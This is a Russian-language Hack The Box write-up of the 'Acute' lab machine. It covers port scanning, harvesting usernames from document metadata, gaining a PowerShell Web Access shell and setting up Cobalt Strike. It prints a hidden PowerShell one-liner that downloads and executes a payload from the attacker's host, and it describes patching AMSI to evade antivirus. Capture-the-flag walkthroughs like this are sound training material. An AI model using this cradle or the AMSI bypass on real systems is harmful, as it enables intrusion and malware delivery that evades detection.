Категория > Новости > HTB Acute. Атакуем Active Directory с помощью Cobalt Strike - «Новости»

HTB Acute. Атакуем Active Directory с помощью Cobalt Strike - «Новости»


20-07-2022, 00:00. Автор: Waller
Hack The Box. Уро­вень слож­ности — hard.

warning


Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.



 

Разведка


 

Сканирование портов


До­бав­ляем IP-адрес машины в /etc/hosts:


10.10.11.145 acute.htb

И запус­каем ска­ниро­вание пор­тов.



Справка: сканирование портов


Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.


На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.


ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).



Ре­зуль­тат работы скрип­та

По резуль­татам ска­ниро­вания име­ем все­го один откры­тый порт — 443, стан­дар­тный для веб‑сер­вера. Пос­коль­ку на нем исполь­зует­ся SSL, мы можем пос­мотреть сер­тификат и в поле commonName находим домен, для которо­го он дей­стви­телен. Nmap авто­мати­чес­ки отоб­ража­ет это поле в резуль­тате ска­ниро­вания. Новый домен тоже добавим в /etc/hosts.


10.10.11.145 acute.htb atsserver.acute.local
Глав­ная стра­ница atsserver.acute.local

Идем осматри­вать сайт. Ссы­лок на нем малова­то, но одна из них ведет на документ.


Стра­ница с докумен­том

Ска­чаем док для ана­лиза: в нем может быть инте­рес­ная информа­ция.


 

Точка входа


В докумен­те находим какой‑то дефол­тный пароль. Такие вещи всег­да сто­ит отме­чать — при про­хож­дении лабора­торок они по закону жан­ра обя­заны еще выс­тре­лить.


Со­дер­жимое ска­чан­ного докумен­та

Так­же находим упо­мина­ние работы, а чуть даль­ше и ссыл­ку на PSWA (PowerShell Web Access). Эта фун­кция поз­воля­ет уда­лен­но управлять сер­вером с помощью PowerShell через обыч­ный бра­узер. Домен­ное имя из ссыл­ки добавим в файл /etc/hosts.


10.10.11.145 acute.htb atsserver.acute.local

Пе­рехо­дим по най­ден­ной ссыл­ке, и нам откры­вает­ся панель авто­риза­ции PSWA.


Па­нель авто­риза­ции PSWA

У нас есть пароль, оста­лось най­ти име­на поль­зовате­ля и машины.


 

Точка опоры


Фай­лы вро­де офис­ных докумен­тов очень полез­ны при раз­ведке. Их метадан­ные могут содер­жать, к при­меру, имя поль­зовате­ля и наз­вание машины. Поэто­му пер­вым делом получим метадан­ные ска­чан­ного фай­ла с помощью Exiftool.


Ме­тадан­ные докумен­та

Из поля Creator получа­ем имя поль­зовате­ля, а поле Description рас­кры­вает имя машины. Но с эти­ми учет­ными дан­ными под­клю­чить­ся не получи­лось, поэто­му я пошел искать на сай­те дру­гие под­сказ­ки. И нашел... име­на поль­зовате­лей.


Най­ден­ные поль­зовате­ли

Фор­миру­ем спи­сок по уже име­юще­муся у нас фор­мату.


HTB Acute. Атакуем Active Directory с помощью Cobalt Strike - «Новости»
Спи­сок акка­унтов

И с най­ден­ным паролем на обоз­начен­ной машине мы получа­ем коман­дную веб‑обо­лоч­ку PoweShell от име­ни поль­зовате­ля edavies.


Ко­ман­дная веб‑обо­лоч­ка

Для даль­нейшей экс­плу­ата­ции и прод­вижения я решил исполь­зовать популяр­ный фрей­мворк Cobalt Strike. Пер­вым делом соз­дадим лис­тенер.


Па­рамет­ры лис­тенера

Для удоб­ной дос­тавки наг­рузки будем исполь­зовать скрипт на PowerShell, рас­положен­ный на локаль­ном веб‑сер­вере.


Нас­трой­ки Scripted Web Delivery

Пос­ле нас­трой­ки нам даже дадут коман­ду, которую необ­ходимо ввес­ти на целевой сис­теме.


powershell.exe-nop-whidden-c"IEX ((new-object net.webclient).downloadstring('http://10.10.14.26:80/info'))"
Ошиб­ка запус­ка наг­рузки

Но нас оста­нав­лива­ет анти­вирус, который триг­гернул из‑за AMSI.



Справка: AMSI


Antimalware Scan Interface (AMSI) — это ком­понент Microsoft Windows, который обес­печива­ет более глу­бокую про­вер­ку встро­енных служб сце­нари­ев. Прод­винутое вре­донос­ное ПО исполь­зует замас­кирован­ные или зашиф­рован­ные сце­нарии, что­бы укло­нить­ся от тра­дици­онных методов про­вер­ки. Такое вре­донос­ное ПО час­то заг­ружа­ется непос­редс­твен­но в память, поэто­му не исполь­зует фай­лы на устрой­стве. AMSI — это интерфейс, через который при­ложе­ния и служ­бы в Windows отправ­ляют зап­росы на про­вер­ку уста­нов­ленно­му на компь­юте­ре средс­тву защиты от вре­донос­ного ПО.



Но мы можем запат­чить AMSI, что­бы исполь­зуемый нами код не ухо­дил на про­вер­ку. Метод зак­люча­ется в изме­нении адре­сов заголов­ков amsiContext (кон­текст, в котором про­исхо­дит ска­ниро­вание): зануля­ем ука­затель.


Патч AMSI

И пос­ле пов­торно­го запус­ка наг­рузки получа­ем активную сес­сию в нашем фрей­мвор­ке.


Граф сес­сий в CS 

Продвижение


По­лучив кон­троль над хос­том, я сра­зу прос­мотрел запущен­ные про­цес­сы и сес­сии активных поль­зовате­лей.


Process Explorer в Cobalt Strike

Ви­дим запущен­ные про­цес­сы powershell.exe в пер­вой сес­сии. Это зна­чит, что поль­зователь авто­ризо­ван и выпол­няет опре­делен­ные задачи. Что­бы получить дос­туп к окру­жению сес­сии, нам нужен кон­троль над ней. Дру­гими сло­вами, наш агент дол­жен работать в той же сес­сии.



Перейти обратно к новости